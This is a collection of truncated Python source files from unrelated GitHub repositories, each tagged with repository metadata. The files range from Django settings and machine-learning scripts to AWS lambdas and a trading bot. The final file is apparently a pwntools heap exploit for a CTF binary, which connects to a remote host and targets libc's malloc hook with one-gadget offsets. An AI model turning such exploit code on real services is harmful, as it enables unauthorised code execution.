WSGI_APPLICATION = 'app.wsgi.application'
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# static
STATIC_URL = '/s... | Mc01/django-serverless | app/settings.py | settings.py | py | 1,656 | python | en | code | 4 | github-code | 1 |
926199456 | import numpy as np
from data_utils import load_cifar10
import matplotlib.pyplot as plt
from knn import KNearestNeighbor
x_train,y_train,x_test,y_test = load_cifar10('cifar-10-batches-py')
classes=['plane','car','bird','cat','deer','dog','frog','horse','ship','truck']
num_claesses=len(classes)
samples_per_class=7
nu... | rosyYY/cs231n | 1-knn/main.py | main.py | py | 2,923 | python | en | code | 1 | github-code | 1 |
7662960040 | #Alex Black
import cv2
import numpy as np
import io
from PIL import Image
from threading import Thread
import collections
frame = cv2.VideoCapture( 0 )
kern = np.ones( ( 1, 1 ), np.uint8 )
i = 0
while True:
i+=1
print( i )
_,cimg = frame.read()
#cimg = cv2.imread( 'test.png' )
cimgh, cimgw, _ = ... | shihaocao/RC1 | areacompare.py | areacompare.py | py | 2,878 | python | en | code | 2 | github-code | 1 |
44769772301 |
from .common import *
def lambda_list_files(event: dict, context):
body: dict = json.loads(event['body'])
headers: dict = event['headers']
album_uuid: str = body['album_uuid']
album_owner: str = body['album_owner']
username: str = jwt_decode(headers)
if not user_exists(username):
re... | magley/klau-drive | src/lambdas/lambda_list_files.py | lambda_list_files.py | py | 1,868 | python | en | code | 0 | github-code | 1 |
21591551482 | from class_def import ClassDef, TemplateClass
from intbase import InterpreterBase, ErrorType
from bparser import BParser
from object import ObjectDef
from type_value import TypeManager
# need to document that each class has at least one method guaranteed
# Main interpreter class
class Interpreter(InterpreterBase):
... | MubaiHua/cs131-project-3 | interpreterv3.py | interpreterv3.py | py | 6,467 | python | en | code | 0 | github-code | 1 |
30903061705 | import requests
import bs4
from bs4.dammit import EncodingDetector
from urllib.request import Request, urlopen, urlretrieve
def get_flag(url):
try:
url = url.replace(" ", "%20")
useragent = ["Mozilla/5.0 (compatible; Googlebot/2.1; +http://google.com/bot.html)",
"Mozilla/5.0 (W... | cfowles27293/leetcode | venv/server_get_exploit.py | server_get_exploit.py | py | 1,332 | python | en | code | 0 | github-code | 1 |
28126252814 | import sys
input = sys.stdin.readline
S = list(input()[:-1])
L = len(S) - 1
ans = 0
for bitnum in range(2**L):
t = S.copy()
for i in range(L):
if (bitnum>>i) & 1:
t[i] += "+"
ans += eval(''.join(t))
print(ans)
| pr0xy-t/_atcoder | ABC/061/C.py | C.py | py | 249 | python | en | code | 0 | github-code | 1 |
6006514705 | import cv2
import os
import time
from TutorialMurtaza.Util import BaseFunction
import HandTrackingModule as htm
#############
wCam, hCam = 640, 480
#############
cap = cv2.VideoCapture(0)
cap.set(3, wCam)
cap.set(4, hCam)
folderPath = BaseFunction.getBaseUrl() + '/TutorialMurtaza/Resources/hand_counting'
myList = os... | palindungan/2021_skripsi | OpencvTutorial/TutorialMurtaza/Src/Mediapipe/FingerCountingProject.py | FingerCountingProject.py | py | 2,053 | python | en | code | 0 | github-code | 1 |
41433954503 | import os
import mock
import json
import pika
import Queue
import logging
import greenlet
import unittest
import threading
from rackattack.tcp import publish
from rackattack.tcp import subscribe
from rackattack.tests import mock_pika
from rackattack.tests import one_threaded_publish
handler = logging.StreamHandler()
... | Stratoscale/rackattack-api | py/rackattack/tests/test_publish.py | test_publish.py | py | 8,433 | python | en | code | 0 | github-code | 1 |
16877479895 | # -*- coding: utf-8 -*-
from openerp import models, api
class trobz_crm_lead2opportunity_partner(models.TransientModel):
_inherit = 'crm.lead2opportunity.partner'
@api.model
def default_get(self, fields):
"""
Default get for name, opportunity_ids
if there is an exisitng p... | TinPlusIT05/tms | addons/addons-trobz/trobz_crm/wizard/crm_lead_to_opportunity.py | crm_lead_to_opportunity.py | py | 2,847 | python | en | code | 0 | github-code | 1 |
8828354298 | #!/usr/bin/env python
# coding: utf-8
# In[38]:
# Importar las librerias
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from sklearn.model_selection import train_test_split
import sklearn
# In[2]:
get_ipython().run_line_magic('cd', "'/home/jovyan/python/dataset'")
get_ipython().run_line_m... | afnarqui/python | Testing.py | Testing.py | py | 1,221 | python | en | code | 1 | github-code | 1 |
26681362352 | import json
import plotly
import pandas as pd
from nltk.stem import WordNetLemmatizer
from nltk.tokenize import word_tokenize
from textblob import TextBlob
import numpy as np
from flask import Flask
from flask import render_template, request, jsonify
from plotly.graph_objs import Bar, Histogram
from sklearn.externals ... | qiaochen/TextClsApp | app/run.py | run.py | py | 3,895 | python | en | code | 4 | github-code | 1 |
1438555767 | #!/usr/bin/env python3
import uuid
from typing import List
import click
import backoff
from bravado.exception import HTTPConflict, HTTPError
from neptune.new.internal.backends.hosted_neptune_backend import HostedNeptuneBackend
from neptune.new.internal.credentials import Credentials
class Invitation:
def __ini... | neptune-ai/neptune-admin-utils | manage_users.py | manage_users.py | py | 2,931 | python | en | code | 0 | github-code | 1 |
32952177369 | from lib2to3.pgen2 import token
import requests
import json
#Variáveis iniciais
def get_logradouro():
inicio = 1
qtregistros = 99
mais_paginas = True
token_entidade = "xxxxxx"
conta_registros = 0
lote = 0
#Parametros da requisição
url = "https://e-gov.betha.com.br/glb/service-laye... | ermescarletto/bth | get_logradouros.py | get_logradouros.py | py | 1,862 | python | pt | code | 0 | github-code | 1 |
35076567124 | """
Factory for HID transport connections.
Currently supports only Cython/HIDAPI
"""
import platform
from logging import getLogger
from ..pyedbglib_errors import PyedbglibNotSupportedError
def hid_transport(library="hidapi"):
"""
Dispatch a transport layer for the OS in question
The transport layer is ... | SpenceKonde/megaTinyCore | megaavr/tools/libs/pyedbglib/hidtransport/hidtransportfactory.py | hidtransportfactory.py | py | 2,186 | python | en | code | 471 | github-code | 1 |
16173167775 | from metods3 import Birds
class Duck(Birds):
species = "Утка"
def __init__(self, name, id, age, fly_speed, fly_height):
super().__init__(name, id, age)
self.__fly_speed = fly_speed
self.__fly_height = fly_height
@property
def fly_speed(self):
return self.__fly_speed
... | paseidon72/Hillel_Andrey | testoviy/metod/metods4.py | metods4.py | py | 1,083 | python | en | code | 0 | github-code | 1 |
146002694 | import os
import sys
import argparse
from spinalcordtoolbox.utils import Metavar, SmartFormatter, init_sct, extract_fname, printv
def get_parser():
# Initialize the parser
parser = argparse.ArgumentParser(
description='Transpose bvecs file (if necessary) to get nx3 structure.',
formatter_clas... | jem0101/BigSwag-SQA2022-AUBURN | TestOrchestrator4ML-main/resources/Data/supervised/GITHUB_REPOS/neuropoly@spinalcordtoolbox/scripts/sct_dmri_transpose_bvecs.py | sct_dmri_transpose_bvecs.py | py | 2,558 | python | en | code | 2 | github-code | 1 |
18286950948 | #!/usr/bin/python
# -*- coding: utf-8 -*-
import sqlite3
import random
import datetime
import os
current_file_path = os.path.realpath(__file__)
current_directory_path = os.path.dirname(current_file_path)
resources_directory_path = os.path.join(current_directory_path, '..', 'resources')
db_directory_path = os.path.joi... | PlytonRexus/vigilant-carnival | src/main.py | main.py | py | 50,771 | python | en | code | 0 | github-code | 1 |
11595543761 | import torch
from gtts import gTTS
import os
import keyboard
from tqdm import tqdm
import random
import speech_recognition as sr
def recognize_speech_from_mic(recognizer, microphone):
"""Transcribe speech from recorded from `microphone`.
Returns a dictionary with three keys:
"success": a boolean indica... | jahkelr/machine-learning | Unsupervised/ToxBot/src/generator.py | generator.py | py | 4,254 | python | en | code | 0 | github-code | 1 |
22380899701 |
import pytest
from dawa import API
def test_postnummer_initial():
api = API()
postnummer = api.replicate('postnummer')
for obj in postnummer:
assert len(obj) != 0
break
def test_postnummer_changes():
api = API()
postnummer = api.replicate('postnummer', txidfra=3432423, txidt... | Fredehagelund92/dawa-sdk | tests/test_postnummer.py | test_postnummer.py | py | 403 | python | sv | code | 1 | github-code | 1 |
19358507070 | from nis import cat
import random
import csv
import os
class JunkFood:
def __init__(self, name, price, provider, pronoun, category):
self.name = name
self.price = price
self.inDollars = "${:,.2f}".format(price)
self.provider = provider
self.pronoun = pronoun
sel... | paulgasbarra/fastFoodFaves | junk-food-faves.py | junk-food-faves.py | py | 4,219 | python | en | code | 0 | github-code | 1 |
23206544173 | import robin_stocks.robinhood as r
import json
import pandas as pd
# Reads data about the previous trades from a JSON file and prints it
def read_trade_history(file_name):
print("read_trade_history()")
with open(file_name) as json_file:
data = json.load(json_file)
for sell_date, event in data.item... | messi618/TradingAlgorithm | vivekTradingBot/tradingStatistics.py | tradingStatistics.py | py | 2,230 | python | en | code | 0 | github-code | 1 |
21898163142 | import os
import csv
from utilities.utilities import *
from utilities.katuyou import Katuyou
from collections import defaultdict
class EmotionClass:
def __init__(self, feeling_folder_path, line_file_path):
self.feeling_foloder_path = feeling_folder_path
self.line_file_path = line_file_path
... | blackpopo/Maya_Bot_v01 | EmotionalSummary.py | EmotionalSummary.py | py | 5,462 | python | en | code | 0 | github-code | 1 |
34143903860 | # coding: utf-8
import recommended_system as rs
import math
def recall(train, test, W, N):
"""
P43
:1、召回率
:train、test、N分别是训练集、测试集和推荐列表长度
:描述：一个用户u可能对多个物品有过行为，从而数据集中用户u有多条行为记录，在将数据集进行分组时，
训练集和测试集里都可能存在用户u的多条行为记录。利用训练集训练推荐系统，给出用户u的推荐结果，再和测试集中用户u的行为数据进行对比，
检验算法推荐精度。
"""
hit = 0
a... | Jim-uav/RecommendedSystemPractice | evaluation_indicators.py | evaluation_indicators.py | py | 2,292 | python | en | code | 0 | github-code | 1 |
2545116778 | import os
from typing import Dict, List, Optional
class CopySpec:
"""Copy specification of a single file or directory."""
def __init__(self, source_path: str, target_path: Optional[str] = None):
self.source_path = source_path
self.target_path = target_path
def get_target(self) -> str:
... | eclipse-velocitas/devenv-devcontainer-setup | grpc-interface-support/src/util/templates.py | templates.py | py | 1,938 | python | en | code | 1 | github-code | 1 |
898543562 | from pwn import *
#context.log_level="debug"
context.arch="amd64"
#r=process('./homuranote')
r=remote('111.231.88.121',6666)
elf=ELF('homuranote')
libc=ELF('libc-2.24.so')
#libc_syst=libc.symbols['system']
#libc_exit=libc.symbols['exit']
libc_arenaOffset=0x397b00
libc_mallochook=0x397af0
libc_oneGadget1=0x3f306 #rax... | Cossack9989/SEC_LEARNING | PWN/Sundries/NUPT-CGCTF_homuranote/exp.py | exp.py | py | 3,240 | python | en | code | 13 | github-code | 1 |
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